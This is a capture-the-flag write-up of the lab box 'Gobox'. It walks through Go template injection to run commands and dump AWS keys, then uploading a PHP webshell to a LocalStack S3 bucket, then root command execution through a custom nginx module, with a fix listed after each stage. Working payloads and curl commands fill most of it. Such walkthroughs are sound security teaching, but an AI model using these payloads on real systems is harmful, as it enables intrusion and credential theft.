Gobox
Summary
Target gobox ($TARGET) was fully compromised through a four-stage chain. The Go web application on port 8080 exposed a password-reset form vulnerable to Go template Server-Side Template Injection; injecting the built-in DebugCmd helper executed OS commands inside the container and dumped AWS credentials from the process environment.
Those credentials authenticated against an unauthenticated LocalStack S3-compatible service on port 4566, where I found a bucket named 'website' that backed the PHP site on port 80. Uploading a PHP webshell to that bucket made it immediately executable on the host as www-data, yielding the user flag.
Interrogating the host nginx configuration through the webshell exposed a non-standard custom module (ngx_http_execute_module.so) loaded on an internal listener running as root. Reversing the module's string table identified the command-trigger query-parameter format; a single tunnelled request to port 8000 with that parameter executed arbitrary commands as root and produced the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path — how the box was taken
Exact commands 3
Version-scan the four key ports.
$ nmap -Pn -sV --open -p 22,80,4566,8080 $TARGETConfirm Go backend via X-Forwarded-Server header.
$ curl -sS -i http://$TARGET:8080/Map available endpoints on the Go application.
$ for p in / /forgot /forgot/; do echo "### $p"; curl -sS -i --max-time 8 "http://$TARGET:8080$p" | head -c 2000; echo; doneExact commands 2
Probe whether the email field is evaluated as a Go template; a struct dump in the response confirms SSTI.
$ curl -sS -i -X POST --data-urlencode 'email={{.}}' http://$TARGET:8080/forgot/Log in with default credentials; response body returns Go source showing DebugCmd is exposed on the template context.
$ curl -sS -i -L -X POST --data-urlencode 'email=ippsec@hacking.esports' --data-urlencode "password=$PASSWORD" http://$TARGET:8080/FixRemove DebugCmd from the Go template context and never render user input as a templateCritical
Exact commands 3
Confirm OS command execution and verify container runs as root.
$ curl -sS --max-time 8 -X POST --data-urlencode 'email={{.DebugCmd "id"}}' http://$TARGET:8080/forgot/Dump process environment to extract AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY.
$ curl -sS --max-time 8 -X POST --data-urlencode 'email={{.DebugCmd "env"}}' http://$TARGET:8080/forgot/Enumerate container context: identity, working directory, and application files.
$ for c in id pwd 'ls /opt/uhc' 'ls /'; do echo "### $c"; curl -sS --max-time 8 -X POST --data-urlencode "email={{.DebugCmd \"$c\"}}" http://$TARGET:8080/forgot/ | sed -n '/Email Sent To:/,/<button/p'; done
uid=0(root) gid=0(root) groups=0(root)Exact commands 4
Set the exfiltrated LocalStack credentials in the current shell.
$ export AWS_ACCESS_KEY_ID="$KEY" AWS_SECRET_ACCESS_KEY="$KEY" AWS_DEFAULT_REGION='us-east-1'List available S3 buckets; expect the 'website' bucket.
$ aws --endpoint-url http://$TARGET:4566 s3 lsEnumerate bucket contents; compare with port-80 to confirm this is the live web root.
$ aws --endpoint-url http://$TARGET:4566 s3 ls s3://website/ --recursiveUpload PHP webshell to the website bucket.
$ printf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/gobox-pwn.php && aws --endpoint-url http://$TARGET:4566 s3 cp /tmp/gobox-pwn.php s3://website/gobox-pwn.phpFixBind LocalStack to loopback only and enforce bucket-level write controlsCritical
Exact commands 2
Verify webshell execution, confirm host (not container) context, and note working directory.
$ curl -sS --get --data-urlencode 'cmd=id; pwd' http://$TARGET/gobox-pwn.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)Locate and read the user flag; value is <user.txt>.
$ curl -sS --max-time 8 --get --data-urlencode 'cmd=find /home -name user.txt -type f -readable -exec sh -c '"'"'echo PATH:$1; cat "$1"'"'"' sh {} \;' http://$TARGET/gobox-pwn.phpFixPrevent PHP execution of externally controlled files in the web-served bucket pathHigh
Exact commands 4
List nginx compile-time options including dynamic module paths.
$ curl -sS --get --data-urlencode 'cmd=nginx -V 2>&1' http://$TARGET/gobox-pwn.phpEnumerate loaded nginx modules; spot non-standard .so files.
$ curl -sS --get --data-urlencode 'cmd=ls -la /usr/lib/nginx/modules/ 2>&1' http://$TARGET/gobox-pwn.phpExtract readable strings from the module binary to identify the trigger hostname and parameter format.
$ curl -sS --get --data-urlencode 'cmd=strings /usr/lib/nginx/modules/ngx_http_execute_module.so | tail -160' http://$TARGET/gobox-pwn.phpConfirm the 127.0.0.1:8000 virtual host and read its configuration for the execute-module directive.
$ curl -sS --get --data-urlencode 'cmd=ss -tlnp; cat /etc/nginx/sites-enabled/default /etc/nginx/conf.d/*.conf 2>/dev/null' http://$TARGET/gobox-pwn.phpExact commands 2
Verify root command execution via the Nginx execute module, tunnelled through the www-data webshell.
$ curl -sS --get --data-urlencode 'cmd=curl --globoff -sS -i "http://127.0.0.1:8000/?ippsec.run[id]"' http://$TARGET/gobox-pwn.phpRead the root flag via the execute module; value is <root.txt>.
$ curl -sS --get --data-urlencode 'cmd=curl --globoff -sS "http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]"' http://$TARGET/gobox-pwn.phpFixRemove the custom Nginx execute module and run Nginx workers as an unprivileged userCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.